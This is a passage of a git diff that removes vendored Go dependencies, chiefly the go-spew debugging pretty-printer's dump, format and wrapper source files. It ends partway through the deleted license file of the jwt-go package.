intended to provide deep pretty printing -capabilities on structures, it intentionally does not return any errors. -*/ -package spew diff --git a/vendor/github.com/davecgh/go-spew/spew/dump.go b/vendor/github.com/davecgh/go-spew/spew/dump.go deleted file mode 100644 index f78d89fc1f..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/dump.go +++ /dev/null @@ -1,509 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -package spew - -import ( - "bytes" - "encoding/hex" - "fmt" - "io" - "os" - "reflect" - "regexp" - "strconv" - "strings" -) - -var ( - // uint8Type is a reflect.Type representing a uint8. It is used to - // convert cgo types to uint8 slices for hexdumping. - uint8Type = reflect.TypeOf(uint8(0)) - - // cCharRE is a regular expression that matches a cgo char. - // It is used to detect character arrays to hexdump them. - cCharRE = regexp.MustCompile(`^.*\._Ctype_char$`) - - // cUnsignedCharRE is a regular expression that matches a cgo unsigned - // char. It is used to detect unsigned character arrays to hexdump - // them. - cUnsignedCharRE = regexp.MustCompile(`^.*\._Ctype_unsignedchar$`) - - // cUint8tCharRE is a regular expression that matches a cgo uint8_t. - // It is used to detect uint8_t arrays to hexdump them. - cUint8tCharRE = regexp.MustCompile(`^.*\._Ctype_uint8_t$`) -) - -// dumpState contains information about the state of a dump operation. -type dumpState struct { - w io.Writer - depth int - pointers map[uintptr]int - ignoreNextType bool - ignoreNextIndent bool - cs *ConfigState -} - -// indent performs indentation according to the depth level and cs.Indent -// option. -func (d *dumpState) indent() { - if d.ignoreNextIndent { - d.ignoreNextIndent = false - return - } - d.w.Write(bytes.Repeat([]byte(d.cs.Indent), d.depth)) -} - -// unpackValue returns values inside of non-nil interfaces when possible. -// This is useful for data types like structs, arrays, slices, and maps which -// can contain varying types packed inside an interface. -func (d *dumpState) unpackValue(v reflect.Value) reflect.Value { - if v.Kind() == reflect.Interface && !v.IsNil() { - v = v.Elem() - } - return v -} - -// dumpPtr handles formatting of pointers by indirecting them as necessary. -func (d *dumpState) dumpPtr(v reflect.Value) { - // Remove pointers at or below the current depth from map used to detect - // circular refs. - for k, depth := range d.pointers { - if depth >= d.depth { - delete(d.pointers, k) - } - } - - // Keep list of all dereferenced pointers to show later. - pointerChain := make([]uintptr, 0) - - // Figure out how many levels of indirection there are by dereferencing - // pointers and unpacking interfaces down the chain while detecting circular - // references. - nilFound := false - cycleFound := false - indirects := 0 - ve := v - for ve.Kind() == reflect.Ptr { - if ve.IsNil() { - nilFound = true - break - } - indirects++ - addr := ve.Pointer() - pointerChain = append(pointerChain, addr) - if pd, ok := d.pointers[addr]; ok && pd < d.depth { - cycleFound = true - indirects-- - break - } - d.pointers[addr] = d.depth - - ve = ve.Elem() - if ve.Kind() == reflect.Interface { - if ve.IsNil() { - nilFound = true - break - } - ve = ve.Elem() - } - } - - // Display type information. - d.w.Write(openParenBytes) - d.w.Write(bytes.Repeat(asteriskBytes, indirects)) - d.w.Write([]byte(ve.Type().String())) - d.w.Write(closeParenBytes) - - // Display pointer information. - if !d.cs.DisablePointerAddresses && len(pointerChain) > 0 { - d.w.Write(openParenBytes) - for i, addr := range pointerChain { - if i > 0 { - d.w.Write(pointerChainBytes) - } - printHexPtr(d.w, addr) - } - d.w.Write(closeParenBytes) - } - - // Display dereferenced value. - d.w.Write(openParenBytes) - switch { - case nilFound: - d.w.Write(nilAngleBytes) - - case cycleFound: - d.w.Write(circularBytes) - - default: - d.ignoreNextType = true - d.dump(ve) - } - d.w.Write(closeParenBytes) -} - -// dumpSlice handles formatting of arrays and slices. Byte (uint8 under -// reflection) arrays and slices are dumped in hexdump -C fashion. -func (d *dumpState) dumpSlice(v reflect.Value) { - // Determine whether this type should be hex dumped or not. Also, - // for types which should be hexdumped, try to use the underlying data - // first, then fall back to trying to convert them to a uint8 slice. - var buf []uint8 - doConvert := false - doHexDump := false - numEntries := v.Len() - if numEntries > 0 { - vt := v.Index(0).Type() - vts := vt.String() - switch { - // C types that need to be converted. - case cCharRE.MatchString(vts): - fallthrough - case cUnsignedCharRE.MatchString(vts): - fallthrough - case cUint8tCharRE.MatchString(vts): - doConvert = true - - // Try to use existing uint8 slices and fall back to converting - // and copying if that fails. - case vt.Kind() == reflect.Uint8: - // We need an addressable interface to convert the type - // to a byte slice. However, the reflect package won't - // give us an interface on certain things like - // unexported struct fields in order to enforce - // visibility rules. We use unsafe, when available, to - // bypass these restrictions since this package does not - // mutate the values. - vs := v - if !vs.CanInterface() || !vs.CanAddr() { - vs = unsafeReflectValue(vs) - } - if !UnsafeDisabled { - vs = vs.Slice(0, numEntries) - - // Use the existing uint8 slice if it can be - // type asserted. - iface := vs.Interface() - if slice, ok := iface.([]uint8); ok { - buf = slice - doHexDump = true - break - } - } - - // The underlying data needs to be converted if it can't - // be type asserted to a uint8 slice. - doConvert = true - } - - // Copy and convert the underlying type if needed. - if doConvert && vt.ConvertibleTo(uint8Type) { - // Convert and copy each element into a uint8 byte - // slice. - buf = make([]uint8, numEntries) - for i := 0; i < numEntries; i++ { - vv := v.Index(i) - buf[i] = uint8(vv.Convert(uint8Type).Uint()) - } - doHexDump = true - } - } - - // Hexdump the entire slice as needed. - if doHexDump { - indent := strings.Repeat(d.cs.Indent, d.depth) - str := indent + hex.Dump(buf) - str = strings.Replace(str, "\n", "\n"+indent, -1) - str = strings.TrimRight(str, d.cs.Indent) - d.w.Write([]byte(str)) - return - } - - // Recursively call dump for each item. - for i := 0; i < numEntries; i++ { - d.dump(d.unpackValue(v.Index(i))) - if i < (numEntries - 1) { - d.w.Write(commaNewlineBytes) - } else { - d.w.Write(newlineBytes) - } - } -} - -// dump is the main workhorse for dumping a value. It uses the passed reflect -// value to figure out what kind of object we are dealing with and formats it -// appropriately. It is a recursive function, however circular data structures -// are detected and handled properly. -func (d *dumpState) dump(v reflect.Value) { - // Handle invalid reflect values immediately. - kind := v.Kind() - if kind == reflect.Invalid { - d.w.Write(invalidAngleBytes) - return - } - - // Handle pointers specially. - if kind == reflect.Ptr { - d.indent() - d.dumpPtr(v) - return - } - - // Print type information unless already handled elsewhere. - if !d.ignoreNextType { - d.indent() - d.w.Write(openParenBytes) - d.w.Write([]byte(v.Type().String())) - d.w.Write(closeParenBytes) - d.w.Write(spaceBytes) - } - d.ignoreNextType = false - - // Display length and capacity if the built-in len and cap functions - // work with the value's kind and the len/cap itself is non-zero. - valueLen, valueCap := 0, 0 - switch v.Kind() { - case reflect.Array, reflect.Slice, reflect.Chan: - valueLen, valueCap = v.Len(), v.Cap() - case reflect.Map, reflect.String: - valueLen = v.Len() - } - if valueLen != 0 || !d.cs.DisableCapacities && valueCap != 0 { - d.w.Write(openParenBytes) - if valueLen != 0 { - d.w.Write(lenEqualsBytes) - printInt(d.w, int64(valueLen), 10) - } - if !d.cs.DisableCapacities && valueCap != 0 { - if valueLen != 0 { - d.w.Write(spaceBytes) - } - d.w.Write(capEqualsBytes) - printInt(d.w, int64(valueCap), 10) - } - d.w.Write(closeParenBytes) - d.w.Write(spaceBytes) - } - - // Call Stringer/error interfaces if they exist and the handle methods flag - // is enabled - if !d.cs.DisableMethods { - if (kind != reflect.Invalid) && (kind != reflect.Interface) { - if handled := handleMethods(d.cs, d.w, v); handled { - return - } - } - } - - switch kind { - case reflect.Invalid: - // Do nothing. We should never get here since invalid has already - // been handled above. - - case reflect.Bool: - printBool(d.w, v.Bool()) - - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - printInt(d.w, v.Int(), 10) - - case reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint: - printUint(d.w, v.Uint(), 10) - - case reflect.Float32: - printFloat(d.w, v.Float(), 32) - - case reflect.Float64: - printFloat(d.w, v.Float(), 64) - - case reflect.Complex64: - printComplex(d.w, v.Complex(), 32) - - case reflect.Complex128: - printComplex(d.w, v.Complex(), 64) - - case reflect.Slice: - if v.IsNil() { - d.w.Write(nilAngleBytes) - break - } - fallthrough - - case reflect.Array: - d.w.Write(openBraceNewlineBytes) - d.depth++ - if (d.cs.MaxDepth != 0) && (d.depth > d.cs.MaxDepth) { - d.indent() - d.w.Write(maxNewlineBytes) - } else { - d.dumpSlice(v) - } - d.depth-- - d.indent() - d.w.Write(closeBraceBytes) - - case reflect.String: - d.w.Write([]byte(strconv.Quote(v.String()))) - - case reflect.Interface: - // The only time we should get here is for nil interfaces due to - // unpackValue calls. - if v.IsNil() { - d.w.Write(nilAngleBytes) - } - - case reflect.Ptr: - // Do nothing. We should never get here since pointers have already - // been handled above. - - case reflect.Map: - // nil maps should be indicated as different than empty maps - if v.IsNil() { - d.w.Write(nilAngleBytes) - break - } - - d.w.Write(openBraceNewlineBytes) - d.depth++ - if (d.cs.MaxDepth != 0) && (d.depth > d.cs.MaxDepth) { - d.indent() - d.w.Write(maxNewlineBytes) - } else { - numEntries := v.Len() - keys := v.MapKeys() - if d.cs.SortKeys { - sortValues(keys, d.cs) - } - for i, key := range keys { - d.dump(d.unpackValue(key)) - d.w.Write(colonSpaceBytes) - d.ignoreNextIndent = true - d.dump(d.unpackValue(v.MapIndex(key))) - if i < (numEntries - 1) { - d.w.Write(commaNewlineBytes) - } else { - d.w.Write(newlineBytes) - } - } - } - d.depth-- - d.indent() - d.w.Write(closeBraceBytes) - - case reflect.Struct: - d.w.Write(openBraceNewlineBytes) - d.depth++ - if (d.cs.MaxDepth != 0) && (d.depth > d.cs.MaxDepth) { - d.indent() - d.w.Write(maxNewlineBytes) - } else { - vt := v.Type() - numFields := v.NumField() - for i := 0; i < numFields; i++ { - d.indent() - vtf := vt.Field(i) - d.w.Write([]byte(vtf.Name)) - d.w.Write(colonSpaceBytes) - d.ignoreNextIndent = true - d.dump(d.unpackValue(v.Field(i))) - if i < (numFields - 1) { - d.w.Write(commaNewlineBytes) - } else { - d.w.Write(newlineBytes) - } - } - } - d.depth-- - d.indent() - d.w.Write(closeBraceBytes) - - case reflect.Uintptr: - printHexPtr(d.w, uintptr(v.Uint())) - - case reflect.UnsafePointer, reflect.Chan, reflect.Func: - printHexPtr(d.w, v.Pointer()) - - // There were not any other types at the time this code was written, but - // fall back to letting the default fmt package handle it in case any new - // types are added. - default: - if v.CanInterface() { - fmt.Fprintf(d.w, "%v", v.Interface()) - } else { - fmt.Fprintf(d.w, "%v", v.String()) - } - } -} - -// fdump is a helper function to consolidate the logic from the various public -// methods which take varying writers and config states. -func fdump(cs *ConfigState, w io.Writer, a ...interface{}) { - for _, arg := range a { - if arg == nil { - w.Write(interfaceBytes) - w.Write(spaceBytes) - w.Write(nilAngleBytes) - w.Write(newlineBytes) - continue - } - - d := dumpState{w: w, cs: cs} - d.pointers = make(map[uintptr]int) - d.dump(reflect.ValueOf(arg)) - d.w.Write(newlineBytes) - } -} - -// Fdump formats and displays the passed arguments to io.Writer w. It formats -// exactly the same as Dump. -func Fdump(w io.Writer, a ...interface{}) { - fdump(&Config, w, a...) -} - -// Sdump returns a string with the passed arguments formatted exactly the same -// as Dump. -func Sdump(a ...interface{}) string { - var buf bytes.Buffer - fdump(&Config, &buf, a...) - return buf.String() -} - -/* -Dump displays the passed parameters to standard out with newlines, customizable -indentation, and additional debug information such as complete types and all -pointer addresses used to indirect to the final value. It provides the -following features over the built-in printing facilities provided by the fmt -package: - - * Pointers are dereferenced and followed - * Circular data structures are detected and handled properly - * Custom Stringer/error interfaces are optionally invoked, including - on unexported types - * Custom types which only implement the Stringer/error interfaces via - a pointer receiver are optionally invoked when passing non-pointer - variables - * Byte arrays and slices are dumped like the hexdump -C command which - includes offsets, byte values in hex, and ASCII output - -The configuration options are controlled by an exported package global, -spew.Config. See ConfigState for options documentation. - -See Fdump if you would prefer dumping to an arbitrary io.Writer or Sdump to -get the formatted result as a string. -*/ -func Dump(a ...interface{}) { - fdump(&Config, os.Stdout, a...) -} diff --git a/vendor/github.com/davecgh/go-spew/spew/format.go b/vendor/github.com/davecgh/go-spew/spew/format.go deleted file mode 100644 index b04edb7d7a..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/format.go +++ /dev/null @@ -1,419 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -package spew - -import ( - "bytes" - "fmt" - "reflect" - "strconv" - "strings" -) - -// supportedFlags is a list of all the character flags supported by fmt package. -const supportedFlags = "0-+# " - -// formatState implements the fmt.Formatter interface and contains information -// about the state of a formatting operation. The NewFormatter function can -// be used to get a new Formatter which can be used directly as arguments -// in standard fmt package printing calls. -type formatState struct { - value interface{} - fs fmt.State - depth int - pointers map[uintptr]int - ignoreNextType bool - cs *ConfigState -} - -// buildDefaultFormat recreates the original format string without precision -// and width information to pass in to fmt.Sprintf in the case of an -// unrecognized type. Unless new types are added to the language, this -// function won't ever be called. -func (f *formatState) buildDefaultFormat() (format string) { - buf := bytes.NewBuffer(percentBytes) - - for _, flag := range supportedFlags { - if f.fs.Flag(int(flag)) { - buf.WriteRune(flag) - } - } - - buf.WriteRune('v') - - format = buf.String() - return format -} - -// constructOrigFormat recreates the original format string including precision -// and width information to pass along to the standard fmt package. This allows -// automatic deferral of all format strings this package doesn't support. -func (f *formatState) constructOrigFormat(verb rune) (format string) { - buf := bytes.NewBuffer(percentBytes) - - for _, flag := range supportedFlags { - if f.fs.Flag(int(flag)) { - buf.WriteRune(flag) - } - } - - if width, ok := f.fs.Width(); ok { - buf.WriteString(strconv.Itoa(width)) - } - - if precision, ok := f.fs.Precision(); ok { - buf.Write(precisionBytes) - buf.WriteString(strconv.Itoa(precision)) - } - - buf.WriteRune(verb) - - format = buf.String() - return format -} - -// unpackValue returns values inside of non-nil interfaces when possible and -// ensures that types for values which have been unpacked from an interface -// are displayed when the show types flag is also set. -// This is useful for data types like structs, arrays, slices, and maps which -// can contain varying types packed inside an interface. -func (f *formatState) unpackValue(v reflect.Value) reflect.Value { - if v.Kind() == reflect.Interface { - f.ignoreNextType = false - if !v.IsNil() { - v = v.Elem() - } - } - return v -} - -// formatPtr handles formatting of pointers by indirecting them as necessary. -func (f *formatState) formatPtr(v reflect.Value) { - // Display nil if top level pointer is nil. - showTypes := f.fs.Flag('#') - if v.IsNil() && (!showTypes || f.ignoreNextType) { - f.fs.Write(nilAngleBytes) - return - } - - // Remove pointers at or below the current depth from map used to detect - // circular refs. - for k, depth := range f.pointers { - if depth >= f.depth { - delete(f.pointers, k) - } - } - - // Keep list of all dereferenced pointers to possibly show later. - pointerChain := make([]uintptr, 0) - - // Figure out how many levels of indirection there are by derferencing - // pointers and unpacking interfaces down the chain while detecting circular - // references. - nilFound := false - cycleFound := false - indirects := 0 - ve := v - for ve.Kind() == reflect.Ptr { - if ve.IsNil() { - nilFound = true - break - } - indirects++ - addr := ve.Pointer() - pointerChain = append(pointerChain, addr) - if pd, ok := f.pointers[addr]; ok && pd < f.depth { - cycleFound = true - indirects-- - break - } - f.pointers[addr] = f.depth - - ve = ve.Elem() - if ve.Kind() == reflect.Interface { - if ve.IsNil() { - nilFound = true - break - } - ve = ve.Elem() - } - } - - // Display type or indirection level depending on flags. - if showTypes && !f.ignoreNextType { - f.fs.Write(openParenBytes) - f.fs.Write(bytes.Repeat(asteriskBytes, indirects)) - f.fs.Write([]byte(ve.Type().String())) - f.fs.Write(closeParenBytes) - } else { - if nilFound || cycleFound { - indirects += strings.Count(ve.Type().String(), "*") - } - f.fs.Write(openAngleBytes) - f.fs.Write([]byte(strings.Repeat("*", indirects))) - f.fs.Write(closeAngleBytes) - } - - // Display pointer information depending on flags. - if f.fs.Flag('+') && (len(pointerChain) > 0) { - f.fs.Write(openParenBytes) - for i, addr := range pointerChain { - if i > 0 { - f.fs.Write(pointerChainBytes) - } - printHexPtr(f.fs, addr) - } - f.fs.Write(closeParenBytes) - } - - // Display dereferenced value. - switch { - case nilFound: - f.fs.Write(nilAngleBytes) - - case cycleFound: - f.fs.Write(circularShortBytes) - - default: - f.ignoreNextType = true - f.format(ve) - } -} - -// format is the main workhorse for providing the Formatter interface. It -// uses the passed reflect value to figure out what kind of object we are -// dealing with and formats it appropriately. It is a recursive function, -// however circular data structures are detected and handled properly. -func (f *formatState) format(v reflect.Value) { - // Handle invalid reflect values immediately. - kind := v.Kind() - if kind == reflect.Invalid { - f.fs.Write(invalidAngleBytes) - return - } - - // Handle pointers specially. - if kind == reflect.Ptr { - f.formatPtr(v) - return - } - - // Print type information unless already handled elsewhere. - if !f.ignoreNextType && f.fs.Flag('#') { - f.fs.Write(openParenBytes) - f.fs.Write([]byte(v.Type().String())) - f.fs.Write(closeParenBytes) - } - f.ignoreNextType = false - - // Call Stringer/error interfaces if they exist and the handle methods - // flag is enabled. - if !f.cs.DisableMethods { - if (kind != reflect.Invalid) && (kind != reflect.Interface) { - if handled := handleMethods(f.cs, f.fs, v); handled { - return - } - } - } - - switch kind { - case reflect.Invalid: - // Do nothing. We should never get here since invalid has already - // been handled above. - - case reflect.Bool: - printBool(f.fs, v.Bool()) - - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - printInt(f.fs, v.Int(), 10) - - case reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint: - printUint(f.fs, v.Uint(), 10) - - case reflect.Float32: - printFloat(f.fs, v.Float(), 32) - - case reflect.Float64: - printFloat(f.fs, v.Float(), 64) - - case reflect.Complex64: - printComplex(f.fs, v.Complex(), 32) - - case reflect.Complex128: - printComplex(f.fs, v.Complex(), 64) - - case reflect.Slice: - if v.IsNil() { - f.fs.Write(nilAngleBytes) - break - } - fallthrough - - case reflect.Array: - f.fs.Write(openBracketBytes) - f.depth++ - if (f.cs.MaxDepth != 0) && (f.depth > f.cs.MaxDepth) { - f.fs.Write(maxShortBytes) - } else { - numEntries := v.Len() - for i := 0; i < numEntries; i++ { - if i > 0 { - f.fs.Write(spaceBytes) - } - f.ignoreNextType = true - f.format(f.unpackValue(v.Index(i))) - } - } - f.depth-- - f.fs.Write(closeBracketBytes) - - case reflect.String: - f.fs.Write([]byte(v.String())) - - case reflect.Interface: - // The only time we should get here is for nil interfaces due to - // unpackValue calls. - if v.IsNil() { - f.fs.Write(nilAngleBytes) - } - - case reflect.Ptr: - // Do nothing. We should never get here since pointers have already - // been handled above. - - case reflect.Map: - // nil maps should be indicated as different than empty maps - if v.IsNil() { - f.fs.Write(nilAngleBytes) - break - } - - f.fs.Write(openMapBytes) - f.depth++ - if (f.cs.MaxDepth != 0) && (f.depth > f.cs.MaxDepth) { - f.fs.Write(maxShortBytes) - } else { - keys := v.MapKeys() - if f.cs.SortKeys { - sortValues(keys, f.cs) - } - for i, key := range keys { - if i > 0 { - f.fs.Write(spaceBytes) - } - f.ignoreNextType = true - f.format(f.unpackValue(key)) - f.fs.Write(colonBytes) - f.ignoreNextType = true - f.format(f.unpackValue(v.MapIndex(key))) - } - } - f.depth-- - f.fs.Write(closeMapBytes) - - case reflect.Struct: - numFields := v.NumField() - f.fs.Write(openBraceBytes) - f.depth++ - if (f.cs.MaxDepth != 0) && (f.depth > f.cs.MaxDepth) { - f.fs.Write(maxShortBytes) - } else { - vt := v.Type() - for i := 0; i < numFields; i++ { - if i > 0 { - f.fs.Write(spaceBytes) - } - vtf := vt.Field(i) - if f.fs.Flag('+') || f.fs.Flag('#') { - f.fs.Write([]byte(vtf.Name)) - f.fs.Write(colonBytes) - } - f.format(f.unpackValue(v.Field(i))) - } - } - f.depth-- - f.fs.Write(closeBraceBytes) - - case reflect.Uintptr: - printHexPtr(f.fs, uintptr(v.Uint())) - - case reflect.UnsafePointer, reflect.Chan, reflect.Func: - printHexPtr(f.fs, v.Pointer()) - - // There were not any other types at the time this code was written, but - // fall back to letting the default fmt package handle it if any get added. - default: - format := f.buildDefaultFormat() - if v.CanInterface() { - fmt.Fprintf(f.fs, format, v.Interface()) - } else { - fmt.Fprintf(f.fs, format, v.String()) - } - } -} - -// Format satisfies the fmt.Formatter interface. See NewFormatter for usage -// details. -func (f *formatState) Format(fs fmt.State, verb rune) { - f.fs = fs - - // Use standard formatting for verbs that are not v. - if verb != 'v' { - format := f.constructOrigFormat(verb) - fmt.Fprintf(fs, format, f.value) - return - } - - if f.value == nil { - if fs.Flag('#') { - fs.Write(interfaceBytes) - } - fs.Write(nilAngleBytes) - return - } - - f.format(reflect.ValueOf(f.value)) -} - -// newFormatter is a helper function to consolidate the logic from the various -// public methods which take varying config states. -func newFormatter(cs *ConfigState, v interface{}) fmt.Formatter { - fs := &formatState{value: v, cs: cs} - fs.pointers = make(map[uintptr]int) - return fs -} - -/* -NewFormatter returns a custom formatter that satisfies the fmt.Formatter -interface. As a result, it integrates cleanly with standard fmt package -printing functions. The formatter is useful for inline printing of smaller data -types similar to the standard %v format specifier. - -The custom formatter only responds to the %v (most compact), %+v (adds pointer -addresses), %#v (adds types), or %#+v (adds types and pointer addresses) verb -combinations. Any other verbs such as %x and %q will be sent to the the -standard fmt package for formatting. In addition, the custom formatter ignores -the width and precision arguments (however they will still work on the format -specifiers not handled by the custom formatter). - -Typically this function shouldn't be called directly. It is much easier to make -use of the custom formatter by calling one of the convenience functions such as -Printf, Println, or Fprintf. -*/ -func NewFormatter(v interface{}) fmt.Formatter { - return newFormatter(&Config, v) -} diff --git a/vendor/github.com/davecgh/go-spew/spew/spew.go b/vendor/github.com/davecgh/go-spew/spew/spew.go deleted file mode 100644 index 32c0e33882..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/spew.go +++ /dev/null @@ -1,148 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -package spew - -import ( - "fmt" - "io" -) - -// Errorf is a wrapper for fmt.Errorf that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the formatted string as a value that satisfies error. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Errorf(format, spew.NewFormatter(a), spew.NewFormatter(b)) -func Errorf(format string, a ...interface{}) (err error) { - return fmt.Errorf(format, convertArgs(a)...) -} - -// Fprint is a wrapper for fmt.Fprint that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprint(w, spew.NewFormatter(a), spew.NewFormatter(b)) -func Fprint(w io.Writer, a ...interface{}) (n int, err error) { - return fmt.Fprint(w, convertArgs(a)...) -} - -// Fprintf is a wrapper for fmt.Fprintf that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprintf(w, format, spew.NewFormatter(a), spew.NewFormatter(b)) -func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) { - return fmt.Fprintf(w, format, convertArgs(a)...) -} - -// Fprintln is a wrapper for fmt.Fprintln that treats each argument as if it -// passed with a default Formatter interface returned by NewFormatter. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprintln(w, spew.NewFormatter(a), spew.NewFormatter(b)) -func Fprintln(w io.Writer, a ...interface{}) (n int, err error) { - return fmt.Fprintln(w, convertArgs(a)...) -} - -// Print is a wrapper for fmt.Print that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Print(spew.NewFormatter(a), spew.NewFormatter(b)) -func Print(a ...interface{}) (n int, err error) { - return fmt.Print(convertArgs(a)...) -} - -// Printf is a wrapper for fmt.Printf that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Printf(format, spew.NewFormatter(a), spew.NewFormatter(b)) -func Printf(format string, a ...interface{}) (n int, err error) { - return fmt.Printf(format, convertArgs(a)...) -} - -// Println is a wrapper for fmt.Println that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Println(spew.NewFormatter(a), spew.NewFormatter(b)) -func Println(a ...interface{}) (n int, err error) { - return fmt.Println(convertArgs(a)...) -} - -// Sprint is a wrapper for fmt.Sprint that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprint(spew.NewFormatter(a), spew.NewFormatter(b)) -func Sprint(a ...interface{}) string { - return fmt.Sprint(convertArgs(a)...) -} - -// Sprintf is a wrapper for fmt.Sprintf that treats each argument as if it were -// passed with a default Formatter interface returned by NewFormatter. It -// returns the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprintf(format, spew.NewFormatter(a), spew.NewFormatter(b)) -func Sprintf(format string, a ...interface{}) string { - return fmt.Sprintf(format, convertArgs(a)...) -} - -// Sprintln is a wrapper for fmt.Sprintln that treats each argument as if it -// were passed with a default Formatter interface returned by NewFormatter. It -// returns the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprintln(spew.NewFormatter(a), spew.NewFormatter(b)) -func Sprintln(a ...interface{}) string { - return fmt.Sprintln(convertArgs(a)...) -} - -// convertArgs accepts a slice of arguments and returns a slice of the same -// length with each argument converted to a default spew Formatter interface. -func convertArgs(args []interface{}) (formatters []interface{}) { - formatters = make([]interface{}, len(args)) - for index, arg := range args { - formatters[index] = NewFormatter(arg) - } - return formatters -} diff --git a/vendor/github.com/dgrijalva/jwt-go/.gitignore b/vendor/github.com/dgrijalva/jwt-go/.gitignore deleted file mode 100644 index 80bed650ec..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -.DS_Store -bin - - diff --git a/vendor/github.com/dgrijalva/jwt-go/.travis.yml b/vendor/github.com/dgrijalva/jwt-go/.travis.yml deleted file mode 100644 index 1027f56cd9..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -language: go - -script: - - go vet ./... - - go test -v ./... - -go: - - 1.3 - - 1.4 - - 1.5 - - 1.6 - - 1.7 - - tip diff --git a/vendor/github.com/dgrijalva/jwt-go/LICENSE b/vendor/github.com/dgrijalva/jwt-go/LICENSE deleted file mode 100644 index df83a9c2f0..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/LICENSE +++ /dev/null @@ -1,8 +0,0 @@ -Copyright (c) 2012 Dave Grijalva - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 